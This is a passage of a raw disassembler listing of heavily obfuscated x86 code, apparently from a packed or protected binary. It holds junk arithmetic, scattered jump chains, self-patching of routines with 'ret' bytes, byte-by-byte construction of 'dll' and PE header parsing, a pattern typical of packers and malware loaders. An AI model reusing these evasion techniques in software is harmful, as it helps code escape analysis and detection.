; START	OF FUNCTION CHUNK FOR sub_441C84

loc_443E0D:				; CODE XREF: sub_441C84:loc_458A27j
		jo	loc_43A53B
		pushf
		jmp	loc_43C4EA
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_443E19:				; CODE XREF: sub_443F7F:loc_450006j
		jz	loc_44BDB3
		jmp	loc_44CBD2
; END OF FUNCTION CHUNK	FOR sub_443F7F

; =============== S U B	R O U T	I N E =======================================



sub_443E24	proc near		; CODE XREF: dviuq5id:0043B2FEp
					; dviuq5id:004486E9j

arg_4		= dword	ptr  8

		xchg	edx, [esp+0]
		pop	edx
		popf
		xchg	edi, [esp-8+arg_4]
		jmp	sub_453642
sub_443E24	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_443E31:				; CODE XREF: sub_43FAE1:loc_4436AFj
		jle	loc_454518
		pop	ebp
		jmp	loc_4507C1
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------

loc_443E3D:				; CODE XREF: dviuq5id:0045806Dj
		or	edx, eax
		xchg	edx, [esp]
		pop	edx
		pop	edx
		jz	loc_452783
		mov	eax, [esp]
		call	sub_4584CA
; START	OF FUNCTION CHUNK FOR sub_4452A6

loc_443E52:				; CODE XREF: sub_4452A6+6D4Cj
		jmp	loc_443097
; END OF FUNCTION CHUNK	FOR sub_4452A6
; ---------------------------------------------------------------------------

loc_443E57:				; CODE XREF: dviuq5id:004467D0j
		jmp	sub_44952D
; ---------------------------------------------------------------------------

loc_443E5C:				; CODE XREF: dviuq5id:0045786Cj
		or	edx, 0E7909EBDh
		add	eax, 25DA497Eh
		sub	esi, 0F21B0BFFh
		sbb	ecx, 0C7F2CB8Fh
; START	OF FUNCTION CHUNK FOR sub_4486F9

loc_443E74:				; CODE XREF: sub_4486F9:loc_43D26Bj
		jmp	loc_43BF4E
; END OF FUNCTION CHUNK	FOR sub_4486F9
; ---------------------------------------------------------------------------
		adc	ecx, 41EDE7D0h
		cdq
		jmp	sub_4543EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_443E85:				; CODE XREF: sub_43E421+873j
					; sub_43CB4C+215Cj
		or	ecx, 8E3EEF2Fh
		and	ecx, 7BA67AB8h
		add	ecx, 0F07FAF7Eh
		xor	eax, ecx
		push	offset loc_444592
		jmp	loc_451310
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------

loc_443EA3:				; CODE XREF: dviuq5id:loc_4589F2j
		pop	edi
		pop	ebx
		xchg	edx, [esp]
		mov	eax, edx
		pop	edx
		pop	ebp
		jmp	loc_447BD8
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, ebp
		jmp	loc_440B1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4435C5

loc_443EB9:				; CODE XREF: sub_4435C5:loc_453B66j
		or	eax, eax
; END OF FUNCTION CHUNK	FOR sub_4435C5
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_443EBB:				; CODE XREF: sub_43BA0E+1CE0j
		jnz	loc_4451D6
		jmp	loc_44C6CC
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4399BB

loc_443EC6:				; CODE XREF: sub_4399BB:loc_450D1Ej
		xchg	ebx, [esp-4+arg_0]
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4399BB

; =============== S U B	R O U T	I N E =======================================



sub_443ECE	proc near		; CODE XREF: sub_407C57+Ep
					; sub_419C67+168p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A8B7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043A90C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043EF7C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00441EA1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442B7B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044451B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004447AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445D9A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00449168 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00449D5A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044B06A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CEA4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D12E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004508D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451194 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0045217E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00454BB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456B72 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00457FAB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00458391 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004585E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A615 SIZE 0000000D BYTES

		jnz	loc_43EF7C
		mov	eax, ds:dword_440D88
		or	eax, eax

loc_443EDC:				; CODE XREF: sub_44AAE9:loc_43E59Aj
		jmp	loc_457FAB
sub_443ECE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edx, 0F7C6D0F8h
		call	sub_449EB7
		call	sub_456F43
		mov	edx, 63180CAFh
		jmp	loc_44C310
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E22

loc_443EFA:				; CODE XREF: sub_447E22:loc_456631j
		mov	eax, 22143682h
		call	sub_453642
		mov	ds:dword_41D168, eax
		lea	eax, nullsub_510

loc_443F10:				; CODE XREF: dviuq5id:loc_454111j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_510
; END OF FUNCTION CHUNK	FOR sub_447E22
; ---------------------------------------------------------------------------

loc_443F18:				; CODE XREF: dviuq5id:00449665j
		mov	eax, [esp]
		push	edx
		jmp	loc_439BF9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_259. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_443F22:				; CODE XREF: dviuq5id:0044A72Bj
		jmp	loc_451CC9
; ---------------------------------------------------------------------------

loc_443F27:				; DATA XREF: sub_43C3D8+167B9o
		mov	byte ptr [eax],	64h
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		jmp	loc_442614

; =============== S U B	R O U T	I N E =======================================



sub_443F44	proc near		; DATA XREF: sub_43F9E7:loc_44228Ao

; FUNCTION CHUNK AT 00442E6C SIZE 00000005 BYTES

		add	esp, 0FFFFFFF8h
		push	offset sub_44DA57
		jmp	loc_442E6C
sub_443F44	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_443F51:				; CODE XREF: sub_4463B7+F9EBj
					; sub_4463B7+10EB9j
		sub	edx, 9EC111C2h
		add	edx, 730972A9h
		xchg	edx, [esp+4+var_4]
		jmp	loc_450F80
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F697

loc_443F65:				; CODE XREF: sub_44F697+Dj
		push	edx
		call	sub_4394E7
; END OF FUNCTION CHUNK	FOR sub_44F697
; START	OF FUNCTION CHUNK FOR sub_448D5E

loc_443F6B:				; CODE XREF: sub_448D5E:loc_44A554j
		mov	ebp, esp
		add	esp, 0FFFFFF90h
		call	sub_456F43
		push	9B26DEEDh
		jmp	loc_449983
; END OF FUNCTION CHUNK	FOR sub_448D5E

; =============== S U B	R O U T	I N E =======================================



sub_443F7F	proc near		; CODE XREF: dviuq5id:loc_439704p
					; sub_4411C6-71A6j ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A437 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B55E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443D82 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00443E19 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444D8D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044815D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448338 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00448AE3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004491BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449EE7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044AF14 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044B0A9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044BDA7 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0044C6C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CBD2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F8C7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00450006 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004509A7 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00452ACC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457F97 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00458AD7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004599E9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00459B4B SIZE 00000017 BYTES

		jz	loc_43B55E
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:dword_44897C, 0
		jnz	loc_459B4B
		jmp	loc_452ACC
sub_443F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_443F9D	proc near		; DATA XREF: sub_43D181:loc_4596A4o
		push	4A006BA5h
		pop	edx
sub_443F9D	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_443FA3:				; CODE XREF: sub_4492F0-1FDj
		xor	edx, 8FC01C57h
		and	edx, 0BBE38897h
		push	offset loc_459EFC
		jmp	nullsub_162
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A919

loc_443FBC:				; CODE XREF: sub_43A919+6j
		mov	[ebp-4], eax
		push	0
		mov	eax, [ebp-4]
		jmp	loc_453B46
; END OF FUNCTION CHUNK	FOR sub_43A919
; ---------------------------------------------------------------------------
		push	0D4785465h
		jmp	loc_4419B0

; =============== S U B	R O U T	I N E =======================================



sub_443FD3	proc near		; CODE XREF: sub_451EC6:loc_441AD7p
					; dviuq5id:00449073j

; FUNCTION CHUNK AT 00453D67 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	0ED09970Bh

loc_443FDC:				; CODE XREF: sub_44460F+FFF6j
		pop	eax
		xor	eax, 0CDA2D7D6h
		rol	eax, 18h
		push	offset loc_4507A0
		jmp	loc_453D67
sub_443FD3	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_41D178
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_186. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	al, 24h
		mov	edx, eax
		pop	eax
		js	loc_44CD1A
		jmp	loc_44E294
; ---------------------------------------------------------------------------
		xor	ebx, 88B2193Eh
		jmp	loc_4414C2
; ---------------------------------------------------------------------------
		dw 0F13Bh
		dd 0FFB15AE9h
		db 0FFh
; ---------------------------------------------------------------------------

locret_444019:				; CODE XREF: dviuq5id:loc_43C08Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44124F

loc_44401A:				; CODE XREF: sub_44124F+16F70j
		jmp	nullsub_314
; END OF FUNCTION CHUNK	FOR sub_44124F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B93

loc_44401F:				; CODE XREF: sub_446B93+15ADj
		jmp	sub_455658
; END OF FUNCTION CHUNK	FOR sub_446B93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_444024:				; CODE XREF: sub_44CFBC:loc_44F4D1j
		push	617B9E21h
		xchg	ebx, edi
		xor	ecx, 0FB45C740h
		jg	loc_43D231
		jmp	loc_44242D
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_44403C:				; CODE XREF: sub_44FCBC:loc_44F70Aj
		jge	loc_444FC2
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; START	OF FUNCTION CHUNK FOR sub_44EEAA

loc_444042:				; CODE XREF: sub_44EEAA+10j
		jmp	loc_441C63
; END OF FUNCTION CHUNK	FOR sub_44EEAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_444047:				; CODE XREF: sub_4492F0+4598j
		jmp	nullsub_163
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------

loc_44404C:				; CODE XREF: dviuq5id:0044A241j
		jmp	sub_446181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_444051:				; CODE XREF: sub_43BA0E+290Aj
		jmp	loc_43FB78
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
		jo	loc_44E825
		cmp	ecx, ebx
		jmp	loc_44AA82
; ---------------------------------------------------------------------------
		jmp	ds:off_41D094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E99

loc_444069:				; CODE XREF: sub_440E99:loc_44A2C2j
					; dviuq5id:loc_44ECD3j	...
		pop	edx
		jns	loc_445FA8
		mov	eax, [esp+0]
		push	edx
		nop
		jmp	loc_446C06
; END OF FUNCTION CHUNK	FOR sub_440E99
; ---------------------------------------------------------------------------

loc_44407A:				; CODE XREF: dviuq5id:004425E0j
		js	loc_457DB9
		mov	esi, edx

loc_444082:				; CODE XREF: dviuq5id:0044A6C4j
		cmp	edi, 7210736h
		jmp	loc_444373
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44408D:				; CODE XREF: sub_43FA59:loc_43DE81j
		push	ecx
		mov	esp, ebp
		xchg	esi, [esp+0]
		mov	ebp, esi
		jmp	loc_4555C7
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_44409A:				; CODE XREF: dviuq5id:loc_448256j
		pop	eax
		mov	eax, [esp]
		push	edx
		push	edx
		push	38AA488Fh
		pop	edx
		or	edx, 6B915127h
		jmp	loc_45072E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45345A

loc_4440B1:				; CODE XREF: sub_45345A+62F1j
		jnb	loc_44359D
; END OF FUNCTION CHUNK	FOR sub_45345A
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_4440B7:				; CODE XREF: sub_45169D:loc_44C615j
		mov	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp-4]
		mov	eax, [eax+3Ch]
		cdq
		jmp	loc_441403
; END OF FUNCTION CHUNK	FOR sub_45169D

; =============== S U B	R O U T	I N E =======================================



sub_4440CA	proc near		; CODE XREF: dviuq5id:00441428j
					; sub_43E6A7:loc_454C80p

; FUNCTION CHUNK AT 004455A6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00453B7F SIZE 00000006 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edi
		push	0AA533C88h
		pop	edi
		add	edi, 1B7F250Eh
		rol	edi, 15h
		cmp	edi, 53170E40h
		jmp	loc_453B7F
sub_4440CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4440E9	proc near		; DATA XREF: sub_44B558:loc_44047Do

; FUNCTION CHUNK AT 00439482 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043A47F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043C3E6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FD10 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004400D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440378 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00440F35 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443639 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446D87 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00447EC2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B571 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044DD10 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044DDE4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DEF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FCF7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00450121 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004520BC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00457D48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457D54 SIZE 00000005 BYTES

		cmp	dword ptr [ebp-108h], 43776569h
		jnz	loc_43C3E6
		jmp	loc_4400D0
sub_4440E9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44952D

loc_4440FE:				; CODE XREF: sub_44952D+23C1j
		jz	loc_43FE9D
		jmp	loc_44949E
; END OF FUNCTION CHUNK	FOR sub_44952D
; ---------------------------------------------------------------------------
		mov	ds:off_41D03C, eax
		call	sub_44FC60

loc_444114:				; DATA XREF: sub_43ECF4+14169o
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4424FB
		jmp	loc_4428F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456A43

loc_444122:				; CODE XREF: sub_456A43-D0A5j
		jl	loc_44B682
; END OF FUNCTION CHUNK	FOR sub_456A43
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_444128:				; CODE XREF: sub_43EB11+146D9j
		jmp	loc_4570FD
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45000B

loc_44412D:				; CODE XREF: sub_45000B+5j
		jmp	loc_458E15
; END OF FUNCTION CHUNK	FOR sub_45000B
; ---------------------------------------------------------------------------
		pushf
		add	ebx, ecx
		jmp	loc_44B682
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	sub_44AFDA
; ---------------------------------------------------------------------------

loc_444140:				; CODE XREF: dviuq5id:00444CC8j
		xor	eax, 0E34651E2h
		sub	eax, 331C41F4h

loc_44414C:				; CODE XREF: dviuq5id:0044AEAEj
		add	eax, 586B0AD6h
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_44E6B4
; ---------------------------------------------------------------------------
		call	sub_4552B2
; START	OF FUNCTION CHUNK FOR sub_44279B

loc_444160:				; CODE XREF: sub_44279B:loc_44176Dj
		jmp	loc_44C572
; END OF FUNCTION CHUNK	FOR sub_44279B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444ADC

loc_444165:				; CODE XREF: sub_444ADC-524Bj
		pop	esi
		sbb	ebp, esi
		jmp	sub_4597B9
; END OF FUNCTION CHUNK	FOR sub_444ADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D736

loc_44416D:				; CODE XREF: sub_44D736:loc_455A0Dj
		add	eax, 0F067B39Eh
		shl	eax, cl
		mov	edx, [ebp-1Ch]
		shr	edx, 3
		mov	ecx, ds:dword_44DF0C
		jmp	loc_4532E8
; END OF FUNCTION CHUNK	FOR sub_44D736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453916

loc_444186:				; CODE XREF: sub_453916:loc_44A2B8j
		lea	eax, sub_4462EC
		mov	byte ptr [eax],	0C3h
		jmp	sub_4462EC
; END OF FUNCTION CHUNK	FOR sub_453916
; ---------------------------------------------------------------------------
		call	nullsub_190
		jmp	ds:dword_41D170
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D49A

loc_44419F:				; CODE XREF: sub_44D49A+3j
		jmp	loc_446A12
; END OF FUNCTION CHUNK	FOR sub_44D49A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_190. PRESS KEYPAD	"+" TO EXPAND]
		db 96h,	0FCh, 0FFh
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_4441A9:				; CODE XREF: sub_45288A-12C76j
		jmp	loc_45A68A
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------

loc_4441AE:				; CODE XREF: dviuq5id:00450B61j
		pop	eax
		and	eax, 0D2A9818Fh
		or	eax, 5DC2E6A0h
		sub	eax, 0B20033EFh
		jmp	loc_43A6EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453D79

loc_4441C6:				; CODE XREF: sub_453D79+Dj
		push	35378CCEh
		pop	eax
		or	eax, 7344B46Eh
		test	eax, 4000h
		jmp	loc_4459CB
; END OF FUNCTION CHUNK	FOR sub_453D79

; =============== S U B	R O U T	I N E =======================================



sub_4441DD	proc near		; CODE XREF: dviuq5id:00439A9Bj
					; dviuq5id:0044D511p

; FUNCTION CHUNK AT 0044FD67 SIZE 00000008 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	ecx, 0BACF4E84h
		mov	[ecx], eax
		pop	ecx
		lea	eax, sub_43D80D
		jmp	loc_44FD67
sub_4441DD	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_4441F6:				; CODE XREF: sub_442BFE:loc_4480E1j
		pop	esi

loc_4441F7:				; CODE XREF: dviuq5id:00448C8Bj
					; dviuq5id:00454379j
		xchg	eax, edx

loc_4441F8:				; CODE XREF: dviuq5id:loc_445E8Cj
		push	esi
		call	sub_44142D

loc_4441FE:				; CODE XREF: sub_44A15A-5DC7j
		jmp	loc_459146
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------

loc_444203:				; CODE XREF: dviuq5id:0043D90Bj
		jmp	loc_449770
; ---------------------------------------------------------------------------

loc_444208:				; CODE XREF: dviuq5id:loc_4554C4j
		xchg	ecx, [esp]
		jmp	sub_453642
; ---------------------------------------------------------------------------

loc_444210:				; CODE XREF: dviuq5id:00449C66j
		call	sub_43F1BA
; START	OF FUNCTION CHUNK FOR sub_44395C

loc_444215:				; CODE XREF: sub_44395C+FD2Dj
		jmp	loc_4432E4
; END OF FUNCTION CHUNK	FOR sub_44395C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4538B3

loc_44421A:				; CODE XREF: sub_4538B3-1539j
		jmp	loc_44337A
; END OF FUNCTION CHUNK	FOR sub_4538B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_44421F:				; CODE XREF: sub_4492F0+163Bj
		shr	edx, 17h
		jnp	loc_449CA3

loc_444228:				; CODE XREF: sub_43B880+4471j
					; dviuq5id:0043FCFFj ...
		jmp	loc_441103
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B880

loc_44422D:				; CODE XREF: sub_43B880+Aj
					; dviuq5id:004583BDj
		pop	ecx
		xchg	edi, [esp-8+arg_4]
		mov	ebp, edi
		pop	edi
		jmp	nullsub_456
; END OF FUNCTION CHUNK	FOR sub_43B880
; ---------------------------------------------------------------------------
		cmp	edx, ecx

loc_44423B:				; CODE XREF: dviuq5id:00449AF5j
		jmp	loc_44DFDD
; ---------------------------------------------------------------------------

loc_444240:				; CODE XREF: dviuq5id:00443724j
		push	8B94840Fh
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_444245:				; CODE XREF: sub_444A5E:loc_44370Ej
		sub	edi, 0E4B24677h
		or	edi, 77C1D820h
		add	edi, 5B2151h
		xchg	edi, [esp+4+var_4]
		jmp	sub_44FD8E
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------

loc_44425F:				; DATA XREF: sub_44B2EA-EE88o
		push	edx
		push	2F7AE3Bh
		pop	edx
		or	edx, 18733727h
		add	edx, 58BABA18h
		add	edx, ebp
		jmp	loc_43F730
; ---------------------------------------------------------------------------
		push	75C64BE6h
; START	OF FUNCTION CHUNK FOR sub_458BA4

loc_44427E:				; CODE XREF: sub_458BA4:loc_450ADFj
		pop	ecx
		rol	ecx, 9
		and	ecx, 5EB32C5Bh
		add	ecx, 0F3B1B1F6h
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_456CEC
; END OF FUNCTION CHUNK	FOR sub_458BA4
; ---------------------------------------------------------------------------
		dw 8164h
dword_444298	dd 0			; DATA XREF: sub_451C30+7w
					; sub_43D83D+19732r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BCF

loc_44429C:				; CODE XREF: sub_453BCF+Ej
		jmp	loc_44FF7A
; END OF FUNCTION CHUNK	FOR sub_453BCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454EDD

loc_4442A1:				; CODE XREF: sub_454EDD-BEDDj
		jmp	loc_459A7E
; END OF FUNCTION CHUNK	FOR sub_454EDD
; ---------------------------------------------------------------------------
		dw 0FBE9h
dword_4442A8	dd 0			; DATA XREF: dviuq5id:00447F4Aw
					; sub_43CC42+F385r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A887

loc_4442AC:				; CODE XREF: sub_43A887+Fj
		jmp	loc_45134D
; END OF FUNCTION CHUNK	FOR sub_43A887
; ---------------------------------------------------------------------------
		dd offset loc_487ED2
		align 4
dword_4442B8	dd 0			; DATA XREF: sub_44CFBC:loc_4498F5w
					; sub_44CFBC:loc_458B57r
dword_4442BC	dd 0			; DATA XREF: sub_445707+7867r
					; dviuq5id:0044F680w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454465

loc_4442C0:				; CODE XREF: sub_454465-CB8Dj
		jmp	sub_443669
; END OF FUNCTION CHUNK	FOR sub_454465

; =============== S U B	R O U T	I N E =======================================



sub_4442C5	proc near		; DATA XREF: sub_43E08B+179A0o

; FUNCTION CHUNK AT 0043AE56 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043C6F3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043D324 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F42A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004423BE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00442E7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004442E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B4C6 SIZE 0000001A BYTES

		xchg	esi, [esp+0]
		mov	eax, edx
		call	sub_43FEBB
		call	sub_443AA9

loc_4442D4:				; CODE XREF: dviuq5id:0044B04Aj
		jmp	loc_43F42A
sub_4442C5	endp

; ---------------------------------------------------------------------------

loc_4442D9:				; CODE XREF: dviuq5id:004394D2j
		jmp	loc_43F0FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B54

loc_4442DE:				; CODE XREF: sub_455B54-169F4j
		jnz	loc_442E9B
; END OF FUNCTION CHUNK	FOR sub_455B54
; START	OF FUNCTION CHUNK FOR sub_43AB42

loc_4442E4:				; CODE XREF: sub_43AB42+B48Ej
		jmp	loc_45869C
; END OF FUNCTION CHUNK	FOR sub_43AB42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4442C5

loc_4442E9:				; CODE XREF: sub_4442C5-4E83j
		jmp	loc_4423BE
; END OF FUNCTION CHUNK	FOR sub_4442C5
; ---------------------------------------------------------------------------
		cdq
		jle	loc_44A5BE
		cmp	eax, esi
		jmp	loc_442E95
; ---------------------------------------------------------------------------

loc_4442FC:				; CODE XREF: dviuq5id:00459A9Fj
		jnz	loc_45241C
		jmp	loc_44170D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_444307:				; CODE XREF: sub_44460F:loc_446092j
		jnz	loc_452D4C
		jmp	loc_447F40
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4460D5

loc_444312:				; CODE XREF: sub_4460D5+5j
		mov	edx, ebp
		xchg	edx, [esp+0]
		mov	ebp, esp
		call	sub_450217

loc_44431E:				; CODE XREF: sub_4477D7+BCAEj
		jmp	nullsub_51
; END OF FUNCTION CHUNK	FOR sub_4460D5
; ---------------------------------------------------------------------------

loc_444323:				; CODE XREF: dviuq5id:0044ADF1j
		sbb	edi, 0DC927425h
		mov	ebx, 52EF100h
		jmp	loc_454540
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_444333:				; CODE XREF: sub_44B99E-9F18j
					; sub_44B99E-9129j ...
		jmp	loc_4596A4
; ---------------------------------------------------------------------------

loc_444338:				; CODE XREF: sub_44B99E-951Ej
					; sub_43D181+17C5Cj
		xchg	ebp, [esp-0Ch+arg_8]
